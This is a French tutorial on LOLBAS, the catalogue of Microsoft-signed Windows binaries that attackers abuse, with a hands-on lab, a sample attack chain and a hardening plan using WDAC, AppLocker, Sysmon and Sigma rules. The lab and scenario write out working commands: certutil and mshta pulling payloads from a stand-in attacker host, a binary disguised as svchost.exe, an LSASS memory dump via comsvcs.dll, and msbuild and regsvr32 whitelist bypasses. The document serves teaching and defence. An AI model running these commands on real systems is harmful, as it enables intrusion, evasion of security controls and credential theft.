Un poste Windows standard contient des centaines de binaires signés Microsoft capables de télécharger des fichiers, exécuter du code arbitraire ou contourner les protections applicatives : certutil.exe, mshta.exe, rundll32.exe, msbuild.exe… Tous installés par défaut, tous légitime aux yeux de l’antivirus.
LOLBAS (Living Off The Land Binaries And Scripts) est la base de données de référence qui catalogue ces binaires, bibliothèques et scripts détournables — et les techniques de détection associées.
Ce guide vous apprend à comprendre les catégories LOLBAS, tester les techniques d’exploitation les plus courantes et durcir vos postes Windows avec WDAC et AppLocker. Il s’adresse aux administrateurs système et aux débutants en sécurité offensive.
Ce que vous allez apprendre
Section intitulée « Ce que vous allez apprendre »- Ce qu’est LOLBAS et comment l’utiliser
- Les 3 catégories de binaires exploitables (LOLBins, LOLLibs, LOLScripts)
- Les fonctions détournables (exécution, téléchargement, bypass AWL, credentials…)
- 5 techniques testées pas à pas sur un poste Windows
- Un plan de durcissement concret avec WDAC, AppLocker et Sysmon
Qu’est-ce que LOLBAS ?
Section intitulée « Qu’est-ce que LOLBAS ? »LOLBAS (Living Off The Land Binaries And Scripts) est un catalogue collaboratif de binaires, bibliothèques et scripts signés Microsoft dont les fonctionnalités légitimes peuvent être détournées pour contourner les protections de sécurité.
L’analogie est identique à celle de GTFObins pour Linux : chaque outil système a un usage prévu, mais entre de mauvaises mains, ces fonctionnalités deviennent des vecteurs d’attaque. La différence fondamentale est que les LOLBins sont signés par Microsoft, ce qui signifie que les antivirus et les solutions de whitelisting comme AppLocker les autorisent par défaut.
Le terme « Living off the Land » a été inventé en 2013 par Christopher Campbell et Matt Graeber lors de DerbyCon 3. Le nom « LOLBins » vient d’un sondage Twitter de Philip Goh en 2018 (69 % des votants ont choisi ce nom). Le projet LOLBAS est maintenu par Oddvar Moe, Jimmy Bayne et la communauté, avec plus de 8 300 étoiles sur GitHub.
| Aspect | Détail |
|---|---|
| Objectif | Cataloguer les usages détournés des binaires Windows signés Microsoft |
| Catégories | LOLBins (binaires), LOLLibs (DLL), LOLScripts (scripts) |
| Critère d’inclusion | Doit être signé Microsoft + avoir une fonctionnalité inattendue utile aux attaquants |
| Équivalent Linux | GTFObins |
| Équivalent CI/CD | LOTP |
| Licence | GPL-3.0 (GitHub) |
| Mapping | MITRE ATT&CK natif pour chaque technique |
Prérequis
Section intitulée « Prérequis »- Un système Windows 10/11 ou Windows Server 2019+
- Accès à un terminal PowerShell ou cmd en tant qu’utilisateur standard
- Connaissances de base en ligne de commande Windows (
cd,dir,type) - Idéalement : une machine virtuelle Windows pour les tests
Les 3 catégories LOLBAS
Section intitulée « Les 3 catégories LOLBAS »Contrairement à GTFObins qui se concentre sur les binaires, LOLBAS couvre trois types de composants Windows.
LOLBins — Binaires exécutables
Section intitulée « LOLBins — Binaires exécutables »Les LOLBins sont des fichiers .exe présents dans le répertoire système Windows (C:\Windows\System32\ ou C:\Windows\SysWOW64\). Signés Microsoft, ils passent les contrôles de signature et d’intégrité sans déclencher d’alerte.
Exemples courants : certutil.exe, mshta.exe, rundll32.exe, msbuild.exe, regsvr32.exe, bitsadmin.exe, cmstp.exe, cscript.exe.
LOLLibs — Bibliothèques DLL
Section intitulée « LOLLibs — Bibliothèques DLL »Les LOLLibs sont des fichiers .dll qui peuvent être chargés par des processus légitimes pour exécuter du code malveillant. Un attaquant les invoque via rundll32.exe ou d’autres binaires capables de charger des DLL.
Exemples courants : comsvcs.dll (dump mémoire LSASS), shell32.dll, zipfldr.dll, ieframe.dll.
LOLScripts — Scripts système
Section intitulée « LOLScripts — Scripts système »Les LOLScripts sont des fichiers .vbs, .ps1 ou .bat présents par défaut dans Windows et signés Microsoft. Ils peuvent être détournés pour exécuter du code, télécharger des fichiers ou contourner des restrictions.
Exemples courants : pubprn.vbs, winrm.vbs, SyncAppvPublishingServer.exe (qui accepte des arguments PowerShell).
Les fonctions exploitables
Section intitulée « Les fonctions exploitables »Chaque entrée LOLBAS est classée selon les fonctions qu’elle peut détourner. Le site LOLBAS associe chaque technique à un identifiant MITRE ATT&CK.
| Fonction | Description | Technique MITRE | Exemple |
|---|---|---|---|
| Execute | Exécuter du code arbitraire | T1059, T1218 | mshta vbscript:Execute("...") |
| Download | Télécharger un fichier depuis Internet | T1105 | certutil -urlcache -f http://... |
| AWL bypass | Contourner AppLocker/WDAC | T1218 | regsvr32 /s /n /u /i:http://... scrobj.dll |
| Compile | Compiler et exécuter du code à la volée | T1127 | msbuild.exe payload.xml |
| ADS | Écrire dans un Alternate Data Stream | T1564.004 | certutil -urlcache -f http://... file:ads |
| Credentials | Voler ou manipuler des credentials | T1003, T1555 | cmdkey /list |
| Dump | Dumper la mémoire d’un processus | T1003.001 | rundll32 comsvcs.dll MiniDump |
| UAC bypass | Contourner le User Account Control | T1548.002 | fodhelper.exe avec registre modifié |
| Encode/Decode | Encoder ou décoder des données | T1027, T1140 | certutil -encode file.exe file.b64 |
| Reconnaissance | Collecter des informations système | T1082 | systeminfo, whoami /all |
Vue d’ensemble : du repérage au durcissement
Section intitulée « Vue d’ensemble : du repérage au durcissement »Ce diagramme synthétise le cycle complet d’exploitation LOLBAS — de la reconnaissance des binaires disponibles aux mécanismes de défense.
Lab : tester 5 techniques LOLBAS
Section intitulée « Lab : tester 5 techniques LOLBAS »Passons à la pratique. Ces 5 techniques sont testables sur n’importe quel poste Windows 10/11 sans droits administrateur (sauf mention contraire). Chaque technique illustre un type d’exploitation différent.
Technique 1 : télécharger un fichier avec certutil
Section intitulée « Technique 1 : télécharger un fichier avec certutil »Pourquoi c’est possible : certutil.exe est l’outil de gestion des certificats Windows. Sa fonction -urlcache permet de télécharger n’importe quel fichier depuis Internet, pas uniquement des certificats. Comme il est signé Microsoft, les antivirus ne le bloquent pas par défaut.
MITRE ATT&CK : T1105 (Ingress Tool Transfer)
-
Télécharger un fichier de test :
Fenêtre de terminal certutil.exe -urlcache -split -f "https://raw.githubusercontent.com/projectdiscovery/nuclei/refs/heads/main/README.md" C:\Temp\test-download.txtRésultat attendu : le fichier est téléchargé dans
C:\Temp\. La sortie afficheCertUtil: -URLCache command completed successfully. -
Vérifier le téléchargement :
Fenêtre de terminal type C:\Temp\test-download.txt | Select-Object -First 5Résultat attendu : les 5 premières lignes du fichier README s’affichent.
-
Nettoyage :
Fenêtre de terminal Remove-Item C:\Temp\test-download.txt -Forcecertutil.exe -urlcache * deleteLa deuxième commande purge le cache URL de certutil pour effacer les traces.
Détection : surveiller les appels à certutil.exe avec les arguments -urlcache, -split ou -f dans les journaux d’événements Windows (Event ID 1 de Sysmon). Sigma rule : proc_creation_win_certutil_download.yml.
Technique 2 : exécuter du code via mshta
Section intitulée « Technique 2 : exécuter du code via mshta »Pourquoi c’est possible : mshta.exe est le moteur d’exécution des HTA (HTML Applications). Il peut exécuter du VBScript ou du JScript embarqué sans restrictions — et même charger du code distant via une URL.
MITRE ATT&CK : T1218.005 (System Binary Proxy Execution: Mshta)
-
Exécuter du VBScript inline :
Fenêtre de terminal mshta.exe vbscript:Execute("msgbox ""LOLBAS test"":close")Résultat attendu : une boîte de dialogue Windows s’affiche avec le titre « LOLBAS test ». Cliquer OK pour fermer.
-
Exécuter du JScript inline :
Fenêtre de terminal mshta.exe javascript:a=new%20ActiveXObject("WScript.Shell");a.Run("calc.exe");close();Résultat attendu : la calculatrice Windows s’ouvre, prouvant que
mshtapeut lancer n’importe quel processus. -
Nettoyage — fermer la calculatrice :
Fenêtre de terminal Stop-Process -Name "CalculatorApp" -Force -ErrorAction SilentlyContinue
Détection : surveiller les exécutions de mshta.exe avec des arguments vbscript:, javascript: ou des URLs distantes. Microsoft fournit des règles de blocage recommandées (Block Rules) pour mshta.exe. Sigma rule : proc_creation_win_mshta_execution.yml.
Technique 3 : exécuter du code via rundll32
Section intitulée « Technique 3 : exécuter du code via rundll32 »Pourquoi c’est possible : rundll32.exe est le chargeur de DLL Windows. Il peut exécuter n’importe quelle fonction exportée d’une DLL — y compris du JScript embarqué via des COM objects, ou charger une DLL distante.
MITRE ATT&CK : T1218.011 (System Binary Proxy Execution: Rundll32)
-
Exécuter une DLL système légitime :
Fenêtre de terminal rundll32.exe shell32.dll,Control_RunDLLRésultat attendu : le panneau de configuration Windows s’ouvre.
-
Exécuter du JScript via COM :
Fenêtre de terminal rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";alert('LOLBAS')Résultat attendu : une boîte de dialogue JavaScript s’affiche (selon la version de Windows et les protections EDR en place).
-
Dump mémoire avec comsvcs.dll (nécessite des droits admin) :
Fenêtre de terminal # Trouver le PID de notepad (ouvrir notepad d'abord)$pid = (Get-Process notepad).Id# Créer un mini-dump (ADMIN requis)rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump $pid C:\Temp\dump.bin fullRésultat attendu : un fichier
dump.bincontenant la mémoire du processus est créé. C’est exactement la technique utilisée pour dumper LSASS et extraire des mots de passe. -
Nettoyage :
Fenêtre de terminal Remove-Item C:\Temp\dump.bin -Force -ErrorAction SilentlyContinueStop-Process -Name "notepad" -Force -ErrorAction SilentlyContinue
Détection : surveiller rundll32.exe avec des arguments inhabituels : javascript:, comsvcs.dll, DLL dans des répertoires temporaires, ou des chemins réseau (UNC paths). Sigma rule : proc_creation_win_rundll32_susp_activity.yml.
Technique 4 : compiler et exécuter du code via msbuild
Section intitulée « Technique 4 : compiler et exécuter du code via msbuild »Pourquoi c’est possible : msbuild.exe (Microsoft Build Engine) est l’outil de compilation .NET. Il peut compiler et exécuter du C# embarqué dans un fichier XML — sans générer de fichier .exe sur disque (fileless). Comme il est signé Microsoft, il contourne AppLocker par défaut.
MITRE ATT&CK : T1127.001 (Trusted Developer Utilities Proxy Execution: MSBuild)
-
Créer le fichier de projet malveillant :
Fenêtre de terminal @"<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"><Target Name="LOLBASTest"><LOLBASTask /></Target><UsingTaskTaskName="LOLBASTask"TaskFactory="CodeTaskFactory"AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" ><Task><Code Type="Fragment" Language="cs"><![CDATA[System.Console.WriteLine("LOLBAS MSBuild test - code C# execute sans .exe");System.Console.WriteLine("Hostname: " + System.Environment.MachineName);System.Console.WriteLine("User: " + System.Environment.UserName);]]></Code></Task></UsingTask></Project>"@ | Out-File -FilePath C:\Temp\test-build.csproj -Encoding UTF8 -
Exécuter le fichier via MSBuild :
Fenêtre de terminal C:\Windows\Microsoft.Net\Framework\v4.0.30319\MSBuild.exe C:\Temp\test-build.csprojRésultat attendu : le code C# s’exécute directement et affiche le hostname et l’utilisateur courant. Aucun fichier
.exen’est créé — tout se passe en mémoire. -
Nettoyage :
Fenêtre de terminal Remove-Item C:\Temp\test-build.csproj -Force
Détection : surveiller les exécutions de MSBuild.exe en dehors de Visual Studio ou d’un pipeline CI/CD. Sigma rule : proc_creation_win_msbuild_susp_execution.yml.
Technique 5 : contourner AppLocker via regsvr32
Section intitulée « Technique 5 : contourner AppLocker via regsvr32 »Pourquoi c’est possible : regsvr32.exe est l’outil d’enregistrement de COM objects. Via l’option /i, il peut charger un scriptlet (.sct) — un fichier XML contenant du JScript ou du VBScript — depuis un serveur distant. Cette technique, connue sous le nom de Squiblydoo, contourne AppLocker car regsvr32.exe est un binaire signé et de confiance.
MITRE ATT&CK : T1218.010 (System Binary Proxy Execution: Regsvr32)
-
Créer un scriptlet local de test :
Fenêtre de terminal @"<?XML version="1.0"?><scriptlet><registrationprogid="LOLBASTest"classid="{00000000-0000-0000-0000-000000000001}"><script language="JScript"><![CDATA[var shell = new ActiveXObject("WScript.Shell");shell.Popup("LOLBAS Squiblydoo test", 3, "regsvr32", 64);]]></script></registration></scriptlet>"@ | Out-File -FilePath C:\Temp\test.sct -Encoding UTF8 -
Exécuter le scriptlet via regsvr32 :
Fenêtre de terminal regsvr32.exe /s /n /u /i:C:\Temp\test.sct scrobj.dllRésultat attendu : une boîte de dialogue s’affiche pendant 3 secondes avec le message « LOLBAS Squiblydoo test ». L’option
/ssupprime les messages étendus,/névite l’enregistrement DLL,/uforce le désenregistrement (qui déclenche l’exécution du scriptlet). -
Nettoyage :
Fenêtre de terminal Remove-Item C:\Temp\test.sct -Force
Détection : surveiller regsvr32.exe avec les arguments /i:http://, /i:C:\Users\, ou chargement de scrobj.dll. Sigma rule : proc_creation_win_regsvr32_squiblydoo.yml.
Scénario d’attaque complet
Section intitulée « Scénario d’attaque complet »Pour comprendre comment un attaquant combine ces techniques, voici un scénario réaliste. Il illustre la méthodologie classique d’un APT utilisant exclusivement des LOLBins pour éviter la détection.
-
Accès initial — phishing avec mshta :
L’attaquant envoie un email avec un lien HTA. La victime clique et
mshta.exeexécute le code :Fenêtre de terminal # L'attaquant héberge un fichier HTA sur son serveur# La victime clique sur le lien, mshta s'exécute automatiquementmshta.exe http://attacker.example.com/payload.htaRésultat : un dropper PowerShell s’exécute dans le contexte de l’utilisateur.
-
Téléchargement de l’outillage — certutil :
Le code télécharge les outils de l’attaquant en utilisant un binaire légitime :
Fenêtre de terminal certutil.exe -urlcache -split -f "http://attacker.example.com/tool.exe" C:\Users\Public\svchost.exeLe fichier malveillant est renommé
svchost.exepour se fondre dans les processus légitimes. -
Bypass AppLocker — msbuild :
Si AppLocker bloque les exécutables non signés, l’attaquant compile et exécute en mémoire :
Fenêtre de terminal C:\Windows\Microsoft.Net\Framework\v4.0.30319\MSBuild.exe C:\Users\Public\build.csprojLe code C# malveillant est compilé en mémoire par le framework .NET — aucun
.exen’est créé sur disque. -
Vol de credentials — comsvcs.dll :
L’attaquant dumpe la mémoire du processus LSASS pour extraire les mots de passe :
Fenêtre de terminal # Nécessite des droits administrateurrundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).Id C:\Temp\dump.bin fullLe fichier
dump.bincontient les hashes NTLM et potentiellement des mots de passe en clair. -
Exfiltration — certutil encode :
L’attaquant encode les données volées en base64 pour contourner les inspections réseau :
Fenêtre de terminal certutil.exe -encode C:\Temp\dump.bin C:\Temp\dump.b64# Puis exfiltration via DNS, HTTP POST, ou autre canalToute la chaîne d’attaque n’a utilisé que des binaires signés Microsoft — aucun outil tiers détectable par un antivirus basé sur les signatures.
Durcissement : 7 actions concrètes
Section intitulée « Durcissement : 7 actions concrètes »Maintenant que vous comprenez les techniques, voici comment verrouiller vos postes Windows contre ces exploits.
-
Activer WDAC (Windows Defender Application Control) — c’est la protection la plus efficace contre les LOLBins. WDAC permet de contrôler quels binaires ont le droit de s’exécuter, même s’ils sont signés Microsoft :
Fenêtre de terminal # Créer une politique WDAC de base (mode audit d'abord)New-CIPolicy -Level Publisher -FilePath C:\Policies\BasePolicy.xml -UserPEs -Audit# Convertir en binaire et déployerConvertFrom-CIPolicy C:\Policies\BasePolicy.xml C:\Policies\BasePolicy.binLe mode audit permet de tester la politique sans bloquer — consultez les journaux
CodeIntegritypour identifier les faux positifs avant de passer en mode enforcement. -
Configurer AppLocker — si WDAC n’est pas disponible (éditions Windows non-Enterprise), AppLocker offre un premier niveau de protection :
Fenêtre de terminal # Via GPO : Computer Configuration > Policies > Windows Settings# > Security Settings > Application Control Policies > AppLocker# Bloquer les exécutables depuis les répertoires utilisateur :# - C:\Users\*\AppData\*# - C:\Users\*\Downloads\*# - C:\Temp\*AppLocker ne bloque pas les LOLBins signés Microsoft par défaut. Il faut créer des règles de refus explicites pour
mshta.exe,cmstp.exe,wscript.exe, etc. -
Déployer Sysmon — Microsoft Sysinternals Sysmon fournit une journalisation avancée indispensable pour détecter les LOLBins :
Fenêtre de terminal # Télécharger et installer Sysmon avec la config SwiftOnSecuritysysmon.exe -accepteula -i sysmonconfig-export.xmlÉvénements clés à surveiller :
- Event ID 1 : création de processus (arguments en ligne de commande)
- Event ID 3 : connexion réseau (téléchargements certutil)
- Event ID 7 : chargement de DLL (comsvcs.dll, scrobj.dll)
- Event ID 11 : création de fichier (fichiers dans
C:\Temp\)
-
Appliquer les Microsoft Block Rules — Microsoft publie une liste officielle de binaires à bloquer via WDAC.
mshta.exe,cmstp.exe,wscript.exeet d’autres y figurent :<!-- Extrait des Microsoft Recommended Block Rules --><!-- Bloquer mshta.exe --><Deny ID="ID_DENY_MSHTA" FriendlyName="mshta.exe"FileName="mshta.exe" MinimumFileVersion="65535.65535.65535.65535" />Intégrez ces règles dans votre politique WDAC ou AppLocker pour bloquer les LOLBins les plus dangereux.
-
Désactiver les protocoles hérités — les HTA, les scripts VBS et le moteur JScript sont rarement nécessaires dans un environnement moderne :
Fenêtre de terminal # Désactiver l'association de fichiers HTAftype htafile=# Désactiver Windows Script Hostreg add "HKCU\Software\Microsoft\Windows Script Host\Settings" /v Enabled /t REG_DWORD /d 0 /fSi votre organisation n’utilise pas de fichiers
.hta,.vbsou.js, désactivez ces moteurs d’exécution pour supprimer les vecteurs d’attaque. -
Centraliser les journaux — envoyez les événements Sysmon et Security vers un SIEM (Splunk, Elasticsearch, Wazuh) pour corréler les alertes :
Fenêtre de terminal # Vérifier que les journaux Sysmon sont actifsGet-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" -MaxEvents 5Configurez des règles Sigma pour détecter automatiquement les patterns suspects :
certutil -urlcache,mshta vbscript:,rundll32 comsvcs.dll,MSBuild.exehors Visual Studio. -
Automatiser les audits — utilisez le projet LOLBAS pour identifier les binaires présents sur vos postes et vérifier lesquels sont bloqués par vos politiques :
Fenêtre de terminal # Vérifier si les LOLBins courants sont accessibles$lolbins = @("mshta.exe", "certutil.exe", "regsvr32.exe","msbuild.exe", "cmstp.exe", "wscript.exe", "cscript.exe")foreach ($bin in $lolbins) {$path = Get-Command $bin -ErrorAction SilentlyContinueif ($path) {Write-Host "[!] $bin accessible : $($path.Source)" -ForegroundColor Yellow} else {Write-Host "[OK] $bin bloqué" -ForegroundColor Green}}
Dépannage
Section intitulée « Dépannage »| Symptôme | Cause probable | Solution |
|---|---|---|
certutil -urlcache bloqué | Politique WDAC ou AppLocker active | Vérifier les journaux CodeIntegrity et ajuster la politique si légitime |
mshta.exe ne s’exécute pas | Microsoft Block Rules appliquées | Comportement attendu — la protection fonctionne |
| MSBuild non trouvé | .NET Framework 4.x non installé | Vérifier : dir C:\Windows\Microsoft.Net\Framework\v4.* |
| Sysmon ne journalise pas | Service Sysmon arrêté ou config manquante | Relancer : sysmon.exe -c sysmonconfig.xml |
| AppLocker ne bloque rien | Le service AppIDSvc n’est pas démarré | Démarrer : sc start AppIDSvc et vérifier le type de démarrage |
| Faux positifs WDAC en production | Politique trop restrictive | Repasser en mode audit, identifier les binaires légitimes, les ajouter en exception |
regsvr32 /i: n’exécute pas le scriptlet | Windows Defender SmartScreen bloque | Désactiver SmartScreen en VM de test uniquement |
À retenir
Section intitulée « À retenir »-
LOLBAS catalogue des centaines de binaires, DLL et scripts signés Microsoft dont les fonctions légitimes permettent de télécharger, exécuter, compiler et exfiltrer sans déclencher les antivirus traditionnels.
-
3 catégories couvrent l’écosystème Windows : les LOLBins (exécutables), les LOLLibs (DLL) et les LOLScripts (scripts système).
-
Les LOLBins les plus dangereux sont
certutil.exe(téléchargement et encodage),mshta.exe(exécution de code via HTA/VBScript),rundll32.exe(chargement de DLL et dump mémoire),msbuild.exe(compilation fileless) etregsvr32.exe(bypass AppLocker). -
La remédiation passe par 3 axes : WDAC/AppLocker pour bloquer les binaires dangereux, Sysmon pour la journalisation avancée, et les règles Sigma pour la détection automatisée dans un SIEM.
-
Chaque technique LOLBAS est mappée sur MITRE ATT&CK, ce qui permet de l’intégrer directement dans vos matrices de risques et vos playbooks de réponse à incident.
-
LOLBAS a des équivalents pour d’autres environnements : GTFObins pour Linux et LOTP pour les pipelines CI/CD.